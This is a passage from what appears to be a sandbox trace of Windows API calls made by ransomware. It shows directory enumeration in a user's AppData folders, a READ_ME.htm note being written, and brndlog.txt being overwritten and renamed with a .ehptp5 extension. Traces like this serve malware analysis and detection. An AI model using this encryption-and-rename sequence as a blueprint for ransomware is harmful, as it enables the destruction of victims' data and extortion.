cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 0 [0144.162] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.162] SetErrorMode (uMode=0x0) returned 0x1 [0144.162] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\FORMS", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\FORMS", lpFilePart=0x0) returned 0x30 [0144.162] SetErrorMode (uMode=0x1) returned 0x0 [0144.162] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\FORMS\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\forms\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.163] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2cedac90, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.163] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2d1623f0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1 [0144.163] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2cedac90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2cedac90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2d1623f0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 0 [0144.163] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.163] SetErrorMode (uMode=0x0) returned 0x1 [0144.163] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\FORMS\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\FORMS\\READ_ME.htm", lpFilePart=0x0) returned 0x3c [0144.163] SetErrorMode (uMode=0x1) returned 0x0 [0144.163] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\FORMS\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\forms\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.164] SetErrorMode (uMode=0x0) returned 0x1 [0144.164] GetFileType (hFile=0x1d0) returned 0x1 [0144.164] WriteFile (in: hFile=0x1d0, lpBuffer=0x2930de8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2930de8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0144.165] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3c [0144.165] SetErrorMode (uMode=0x1) returned 0x0 [0144.166] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x519a8410, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x519a8410, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.166] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x519a8410, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x519a8410, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.166] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1 [0144.166] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ef07f70, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x2fa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1 [0144.166] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x519a8410, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x519a8410, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e4a11a0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="frameiconcache.dat", cAlternateFileName="FRAMEI~1.DAT")) returned 1 [0144.166] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dbf6cc0, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x4dbf6cc0, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4dbf6cc0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1 [0144.166] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x518e9d30, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x518e9d30, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0144.166] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x518e9d30, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x518e9d30, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 0 [0144.166] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.167] SetErrorMode (uMode=0x0) returned 0x1 [0144.167] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3c [0144.167] SetErrorMode (uMode=0x1) returned 0x0 [0144.167] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x519a8410, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x519a8410, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.167] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7983b430, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x519a8410, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x519a8410, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.167] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1 [0144.167] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ef07f70, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x2fa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1 [0144.167] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x519a8410, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x519a8410, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e4a11a0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="frameiconcache.dat", cAlternateFileName="FRAMEI~1.DAT")) returned 1 [0144.168] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dbf6cc0, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x4dbf6cc0, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x4dbf6cc0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1 [0144.168] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x518e9d30, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x518e9d30, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0144.168] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x518e9d30, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x518e9d30, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 0 [0144.168] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.168] SetErrorMode (uMode=0x0) returned 0x1 [0144.168] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x0) returned 0x48 [0144.168] SetErrorMode (uMode=0x1) returned 0x0 [0144.168] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.170] SetErrorMode (uMode=0x0) returned 0x1 [0144.170] GetFileType (hFile=0x1d0) returned 0x1 [0144.170] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x2fa5 [0144.170] ReadFile (in: hFile=0x1d0, lpBuffer=0x29347f0, nNumberOfBytesToRead=0x2fa5, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x29347f0*, lpNumberOfBytesRead=0x21d298*=0x2fa5, lpOverlapped=0x0) returned 1 [0144.246] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x0) returned 0x48 [0144.246] SetErrorMode (uMode=0x1) returned 0x0 [0144.246] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0144.247] GetFileType (hFile=0x1d0) returned 0x1 [0144.247] SetErrorMode (uMode=0x0) returned 0x1 [0144.247] GetFileType (hFile=0x1d0) returned 0x1 [0144.247] WriteFile (in: hFile=0x1d0, lpBuffer=0x28269e0*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x21d318, lpOverlapped=0x0 | out: lpBuffer=0x28269e0*, lpNumberOfBytesWritten=0x21d318*=0x2fb0, lpOverlapped=0x0) returned 1 [0144.249] CloseHandle (hObject=0x1d0) returned 1 [0144.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x0) returned 0x48 [0144.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.ehptp5", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.ehptp5", lpFilePart=0x0) returned 0x4f [0144.251] SetErrorMode (uMode=0x1) returned 0x0 [0144.251] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x52777a60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x2fb0)) returned 1 [0144.251] SetErrorMode (uMode=0x0) returned 0x1 [0144.251] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.ehptp5" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.ehptp5")) returned 1 [0144.252] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", lpFilePart=0x0) returned 0x45 [0144.252] SetErrorMode (uMode=0x1) returned 0x0 [0144.253] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\recovery\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x518e9d30, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x518e9d30, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.253] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x518e9d30, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x518e9d30, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.253] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xc874e7b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc874e7b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active", cAlternateFileName="")) returned 1 [0144.253] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x518e9d30, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x8e42ed80, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e42ed80, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 1 [0144.253] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x518e9d30, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x8e42ed80, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e42ed80, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 0 [0144.254] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.254] SetErrorMode (uMode=0x0) returned 0x1 [0144.254] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery", lpFilePart=0x0) returned 0x45 [0144.254] SetErrorMode (uMode=0x1) returned 0x0 [0144.254] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\recovery\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x518e9d30, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x518e9d30, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.255] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x518e9d30, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x518e9d30, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.255] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xc874e7b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc874e7b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active", cAlternateFileName="")) returned 1 [0144.255] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x518e9d30, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x8e42ed80, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e42ed80, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 1 [0144.255] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x518e9d30, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x8e42ed80, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x8e42ed80, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 0 [0144.255] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.255] SetErrorMode (uMode=0x0) returned 0x1 [0144.256] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active", lpFilePart=0x0) returned 0x4c [0144.256] SetErrorMode (uMode=0x1) returned 0x0 [0144.256] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Active\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\internet explorer\\recovery\\active\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d225200, 